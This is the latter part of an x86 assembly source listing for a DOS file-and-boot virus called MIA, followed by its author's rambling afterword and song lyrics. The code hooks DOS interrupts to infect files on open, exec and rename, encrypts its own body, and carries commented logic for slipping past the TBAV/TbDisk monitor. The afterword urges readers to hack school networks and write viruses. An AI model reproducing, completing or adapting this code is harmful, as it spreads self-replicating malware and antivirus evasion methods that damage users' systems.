 mov    ss:[bp + 06h],si       ; SS:[BP+06h] = Viral flags
 mov    cs:byte ptr [Rapidformat],0EBh
 xchg   ss:[bp + 04h],ax       ; Restore AX, replace with the offset address
 pop    bp si
 call   Scramble               ; Decrypt some bytes
 jmp    Frantic                ; Set INT 03h vector and patch INT 24h

Flip:
 push   bx
 push   cx
 push   dx
 push   si                     
 push   di
 push   bp
 push   ds
 push   es
 mov    bp,sp                  ; Point BP to stack pointer
 xchg   ss:[bp + 10h],ax       ; Swap return IP with AX
 push   ax                     ; And push it
 mov    ax,ss:[bp + 10h]       ; Restore AX
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ INT 21h functions handler table ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


FuncTab:
 db     00h                    ; Terminate program, similar to INT 20h
 dw     offset Revenge
 db     0Eh                    ; Set default drive number to DL
 dw     offset Dropper
 db     11h                    ; Find first matching file via FCB
 dw     offset Impulsive
 db     12h                    ; Find next matching file via FCB
 dw     offset Impulsive
 db     19h                    ; Get current default drive number into AL
 dw     offset Internal
 db     25h                    ; Set interrupt (AL) vector
 dw     offset Rehook
 db     3Ch                    ; Create a new file (truncate if it exists)
 dw     offset Creative
 db     3Dh                    ; Open file, returns AX = handle
 dw     offset Multitude
 db     3Eh                    ; Close file handle BX
 dw     offset Freehand
 db     3Fh                    ; Read CX bytes of file to DS:DX via handle BX
 dw     offset Fervour
 db     40h                    ; Write CX bytes data DS:DX to file via handle BX
 dw     offset Fervour
 db     41h                    ; Delete (unlink) file at DS:DX
 dw     offset Multitude
 db     42h                    ; Lseek file CX:DX via handle BX
 dw     offset Pointseek
 db     43h                    ; Get/put file attributes
 dw     offset Multitude
 db     44h                    ; DOS I/O control
 dw     offset IO_Control
 db     48h                    ; Allocate memory block
 dw     offset Removable
 db     49h                    ; Free memory block
 dw     offset Freelance
 db     4Ah                    ; Resize memory block
 dw     offset Freelance
 db     4Bh                    ; Load and/or exec program DS:DX, parm ES:[BX]
 dw     offset Multitude
 db     4Ch                    ; Terminate current process with return code AL
 dw     offset Revenge
 db     4Eh                    ; Find first matching file DS:DX with CX attrib.
 dw     offset Underground
 db     4Fh                    ; Find next matching previous file
 dw     offset Underground
 db     56h                    ; Rename file at DS:DX into name at ES:[DI]
 dw     offset Multitude
 db     57h                    ; Get/set file time/date stamps
 dw     offset Stamp
 db     5Bh                    ; Create a new file (stall if it exists)
 dw     offset Creative
 db     60h                    ; Canonize filename/path at DS:[SI]
 dw     offset Canonicalization
 db     67h                    ; Set file handle count
 dw     offset Removable
 db     6Ch                    ; Extended open/create file with BL = open mode
 dw     offset Creative

Flop:
 pop    ax                     ; Put return IP in AX
 mov    bp,sp                  ; Point BP to stack pointer
 xchg   ss:[bp + 10h],ax       ; Restore AX and replace with return IP
 pop    es              
 pop    ds
 pop    bp
 pop    di
 pop    si
 pop    dx
 pop    cx
 pop    bx
 ret

Scramble:
 push   si
 mov    si,offset End_Cloak

ExOr:
 xor    cs:word ptr [si],1983h ; Don't set this value to zero!
 dec    si
 dec    si
 cmp    si,offset Beg_Cloak    ; Done encrypting/decrypting?
 jnb    ExOr                   ; Loop...
 pop    si
 ret

Freeware:
 mov    cs:byte ptr [Rapidformat],0A8h
 ret

Restorage:                     ; Restore INT 15h vector
 mov    al,15h
 lds    dx,cs:dword ptr [Decryptor]

Vectorize:
 mov    cx,ds

Revector:                      ; This is MIA's interrupt swapper
 mov    ah,04h
 xor    bx,bx                  ; But this will set and return the current
 mov    ds,bx                  ; segment:offset = CX:DX
 mul    ah
 xchg   ax,bx
 xchg   ds:[bx],dx             ; Offset of interrupt number in AL
 xchg   ds:[bx + 02h],cx       ; Segment of interrupt number in AL
 ret

Junkie:                        ; Encryptor/decryptor for boot
 push   ax cx
 mov    al,80h

Polynomial equ byte ptr $ - 01h

 mov    cx,offset Disk_IO - offset Start
 mov    di,offset Start

Phreak:
 xor    cs:[bx + di],al        ; Hack!
 sub    al,cl                  ; Ah... just a little bit robust
 inc    di
 loop   Phreak
 pop    cx ax
 ret


                          SubTtl Hinc ducitur honos!


Evoke:                         ; Encrypt body, write to disk, and decrypt
 call   Junkie                 ; First, encrypting...
 pushf
 db     9Ah
 dd     0F000B3D4h             ; Call disk I/O
 pushf                         ; Save flags state
 call   Junkie                 ; Decrypt virus body
 popf
 ret                           

Backbreak:
 push   ax dx
 mov    ax,3301h               ; DOS func. AX=3301h, set extended BREAK state
 mov    dl,01h                 ; DL=00 ÄÄÄ OFF, DL=01 ÄÄÄ ON

Breakstate equ byte ptr $ - 01h

 int    21h
 pop    dx ax
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 18h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Slick:
 db     0EAh                   ; MIA's INT 13h goes here

ROM_BIOS dd 0F000B3D4h         ; This is the BIOS disk interrupt handler

Transpire:
 push   dx bp
 mov    dx,cs                  ; DX = virus segment
 mov    bp,sp                  ; BP = stack pointer
 cmp    ss:[bp + 06h],dx       ; SS:[BP+06h] = interrupt caller's segment
 pop    bp dx
 je     Recognize
 push   0000h                  ; If differs, warm-reboot the machine
 pop    ds
 mov    ds:word ptr [0472h],1234h
 call   Collide                ; Disable FD (if a HD exists)
 db     0EAh
 dd     0F000FFF0h             ; JMP F000:FFF0

Recognize:
 test   dl,dl                  ; Positive or negative?
 js     Slick

Into_Disk:
 db     0EAh                   ; Floppy disks goes here (INT 40h)

Flop_BIOS dd 0F000EC59h


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 15h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; MIA hooks INT 15h during infection attempt, uhhm... apparently meaningless?
; but the purpose is bypassing one of TBAV resident monitor, that is TbDisk!!
; hex! this program again! TbDisk's INT 15h handler tests a flag when INT 15h
; is called with AH=90h, (i.e. disk access permission flag) set alarm flag if
; INT 15h is called without a certain bit set, and the TbDisk INT 21h handler
; will check this alarm flag and if set, display message: "A disk is accessed
; via an unusual way ... blah blah blah ..." but why INT 15h? 'n not INT 13h?
; 'cause ROM BIOS disk handler,  that is INT 13h ROM entry point, invokes INT
; 15h every busy time  (i.e. waiting for response  from disk, etc.)  so every
; program  that invokes INT 13h,  will execute INT 15h too! to bypass this, I
; only knew two way: first,  perform direct disk access via controller port -
; this is not efficient at all - the virus will be too complex and large, the
; second way is much easier, that is what MIA does,  never return to original
; INT 15h!!! since BIOSes don't do anything but clear AH & CF, then return to
; interrupt caller (AH=90h), but if there's another way Ya know to avoid this
; nigga, I'd love to hear!! 8-)
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Disk_IO:                       
 pushf
 cmp    ah,90h                 ; AT/PS device busy call?
 jne    Wasted                 ; Don't bother if not!
 popf
 xor    ah,ah                  ; This clears AH and CF, and sets ZF
 sti                           ; Enable interrupts
 retf   0002h                  ; Return to interrupt caller, no popping flags

Wasted:
 popf
 db     0EAh                   ; Far JMP opcode
                               ; Blazin'!!! the handler ends here, very short!
Decryptor:
 cli                           ; The codes below are useless, since they will
 mov    ax,0CDDAh              ; only executed in first virus generation
 mov    sp,offset Returned - 01h
 push   ax
 xor    ax,1762h               ; AX = DAB8
 push   ax
 mov    si,offset VirEnd       ; Blah... blah... blah... stupid codes that
 mov    sp,si                  ; unexpectedly beat TBAV pretty hard, 8-)
 std
 db     36h                    ; SS:
 lodsw
 xchg   sp,ax
 db     2Eh                    ; CS:
 lodsw                         
 mov    sp,ax                  ; Set up the real stack
 sti
 db     2Eh                    ; CS:
 lodsw
 jmp    ax

 db     (Mutant - (($ - offset Decryptor) + 04h)) dup (90h)
 dw     offset Vanguard
 dw     2710h

VirEnd:
 db     0EAh                   ; Far JMP opcode

Viral_Interrupt  dd  00C90FB4h
Interstice       dw      0000h
Fake_ROM         db        00h
Button           db        00h
Prebuff          db 05h dup (00h)
Replacement      db 03h dup (00h)
FileName         db 87h dup (00h)

Slack   label word             ; Trash!

     Org Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO)

IO_Cassette      dd 0F000F859h ; Original (may be TbDisk's) INT 15h handler is
                               ; saved here.
                 db 311h dup (00h)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Below is the host program ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Stub:                          ; Hmm, I put a worthwhile stuff here: display
 push   cs                     ; calculated (decimal) virus length
 mov    ax,VirLen              ; Put virus length into AX
 mov    bx,000Ah               ; Set up divisor
 mov    cl,30h
 mov    di,offset Virsize      ; Buffer to put result
 sub    bp,bp
 pop    ds

Remainder:
 xchg   ax,bp
 xor    dx,dx
 div    bx                     ; AX / BX
 xchg   bp,ax
 div    bx
 or     dl,cl                  ; Convert to decimal - OR 30h
 mov    ds:[di],dl             ; Put the ASCII character
 dec    di
 test   ax,ax
 jnz    Remainder              ; Jump if ZF=0 - remainder after dividing

 mov    ah,0Fh                 ; Get current video mode
 int    10h                    ; Return AL = video mode
 push   ax
 mov    al,03h
 cbw                           ; Convert AL to AX
 int    10h                    ; Set 80x25 screen and Clear it
 
 mov    bh,02h                 ; Move cursor
 xchg   bx,ax                  ; Video page = zero
 mov    dx,0200h               ; DH = row, DL = column
 int    10h

 mov    ah,01h                 ; INT 10h AH=01h, set cursor text-mode shape
 mov    cx,0100h               ; CH = cursor start and option
 int    10h                    ; "Hide the cursor"

 push   0B800h                 ; Video mode 3 segment
 mov    si,offset Message      ; Now display message
 xor    di,di
 mov    cx,0050h               ; Number of characters to display
 mov    al,4Fh                 ; AL = Colours, upper 4-bit = background, 
 pop    es                     ; lower 4-bit = foreground
 cld                           

Disp:
 movsb                         ; Character to display
 stosb                         ; Attribute for the characters
 loop   Disp

 push   es
 pop    ds                     ; DS = ES = video mode 3 segment
 mov    dx,03DAh               ; Port 03DAh = EGA/VGA colours status register

Rotate:
 sub    si,si
 xor    di,di

Traceback:
 in     al,dx
 test   al,08h
 je     Traceback              ; Waiting for retrace

 mov    cl,4Fh
 lodsw
 repe   movsw                  ; Move attributes & characters
 stosw

 mov    ah,01h
 int    16h                    ; Is there a key waiting in buffer?
 jz     Rotate                 ; Nope, so loop

 sub    ax,ax
 mov    cl,50h
 mov    di,ax
 repe   stosw                  ; Erase characters

 mov    ah,01h
 mov    cx,0607h               ; CL = bottom scan line 
 int    10h                    ; Show cursor

 pop    ax
 cmp    al,03h                 ; Previous mode is 3 ?
 je     Exit
 xor    ah,ah
 mov    bp,ax
 push   cs
 mov    ah,09h                 ; DOS service AH=09h, display string at DS:DX
 mov    dx,offset Videofit     ; to standard output. string ended with '$'
 pop    ds
 int    21h

Ask:
 sub    ah,ah                  ; INT 16h (keyboard) service AH=00h, wait a
 int    16h                    ; keystroke from user. returns AH=BIOS scan 
 mov    dx,ax                  ; code, AL = ASCII character
 or     al,20h                 ; Convert it to lowercase
 cmp    al,6Eh                 ; 'n' - No ?
 jne    Answer                 
 mov    al,dl                  ; AL = 'N' or 'n'
 int    29h                    ; INT 29h = display single character in AL
 jmp    short Exit

Answer:
 cmp    al,79h                 ; 'y' - Yes ?
 je     Refresh
 mov    al,07h                 ; Neither of 'em, so force user to press either
 int    29h                    ; Beep the speaker
 jmp    short Ask              ; and wait for a keystroke again

Refresh:
 mov    ax,bp
 int    10h                    ; Set video mode AL

Exit:
 mov    al,0Dh                 ; Linefeed character
 int    29h                    
 sub    al,03h                 ; Carriage return
 int    29h
 mov    ax,cs
 sub    ax,0010h               ; ES = current PSP segment
 push   ax
 sub    ax,ax
 push   ax
 retf                          ; Jump to PSP:0000h (INT 20h)

Message  db '               This is MIA virus version 1.30į, size:  000'
Virsize  db '0 bytes               '                     
Videofit db ' Do You want to restore Your previous video mode (Y/N)? $'

EOF     equ $

Baby EndS
     End Decryptor             ; End of a hard work, 8-)


















˙










 Well, well, well, uhm...  You've spent Your time reading the whole source...
 Hmmm, I assume You did not read it all, line per line, I am dreadfully sorry
 if You did, *bullshit*  maybe tomorrow You'll have to see an ophthalmologist
 and buy glasses (like what I did 3 years ago). 8-)

 Anyway, for those who've questions, rebuttals, bug reports (either the virus
 bug itself or My *bad* English), or anything positive or negative concerning
 this virus please send an e-mail (just when You feel You're gonna bust)  to:
 fulvian@usa.net and do not  hope so  much that I will reply to it in a short
 period of time,  since I don't have My own internet connection  (really, I'm
 just a son of a poor bitch, hex!) if You feel You do *not* have it too, just
 don't ever bother to force Your mom to  afford to pay Your local ISP for it,
 just go to Your school, enter computer lab, kick Your SysOp out,  tie Him to
 tree, muzzle His mouth, then lay Yourself on His  seat and launch a browser.
 easy, ain't it? a little bit rude, right? but that's life, a great exertion!
 (sorry again, that was joke, I don't intend to teach You how to be a rapist.
 Just learn Your lesson well, perhaps You [and I] will be no longer outta job
 someday). And for those whose parents are rich or who've (legal) occupations
 I just wanna tell You not to use Your dream machine to play games,  visiting
 homepages of PSPs (Porn Stuff Providers),  or not using it at all (bought it
 just for Your office decoration, *moan*). Use Your comp for some kewl things
 to work out, for instance, hacking Your school's network or writing Your own
 viruses, wow! ;-D, he he he...

 Oohhhhh... I gotta finish this writing, My HD is full, besides I don't wanna
 hurt Your eyes (why are You still reading??? go watch Star Wars or something
 essential). At last, I hope that My big-sized specs and small hands can help
 Me out to write a Windows virus next time, and further  I'd love to reveal a
 real truth, guess what? uhm, it's hard to say, but I don't wanna make anyone
 confused or misunderstanding of something in this innermost heart, something
 that beat Me hardly and it is now going harder and harder...  the girl of My
 dreams... She, She is NOT, repeat, NOT Irma but Mia, repeat, yes She IS Mia,
 surprised? Mia Herself even doesn't know it anyway, ;-), She just thinks the
 opposite thing: I love Irma and I hate Mia, whereas, in fact, it is just not
 right anyhow (I love Mia and I'm just one of Irma's friend),  I just lied to
 Mia easily about that matter on the first day I met Her (read MIA.TXT).  but
 one main thing is that I wanna thank Mia W. who, however, helped Me a lot in
 writing this VX, hey, I don't forget to apologize for all My boasts... 8-)






















 Saying "I love You" is not the words I want to hear from You
 It's not that I want You not to say, but if You only knew...
 How easy it would be to show Me how You feel...

 More than words is all You have to do to make it real
 Then You wouldn't have to say that You love Me...
 'cause I'd already known...

 What would You do...
 If My heart was torn in two?
 More than words to show how You feel that Your love for Me is real
 What would You say...
 If I took those words away?
 Then You couldn't make things new just by saying "I love You"...

 Now that I've tried to talk to You and make You understand
 All You have to do is close Your eyes and just reach out your hands
 And touch Me, hold Me close, don't ever let Me go...

 More than words is all I ever needed You to show
 Then You wouldn't have to say that You love Me...
 'cause I'd already known...





















                                                                Lots of love,
                                                    Fulvian <fulvian@usa.net> ˙
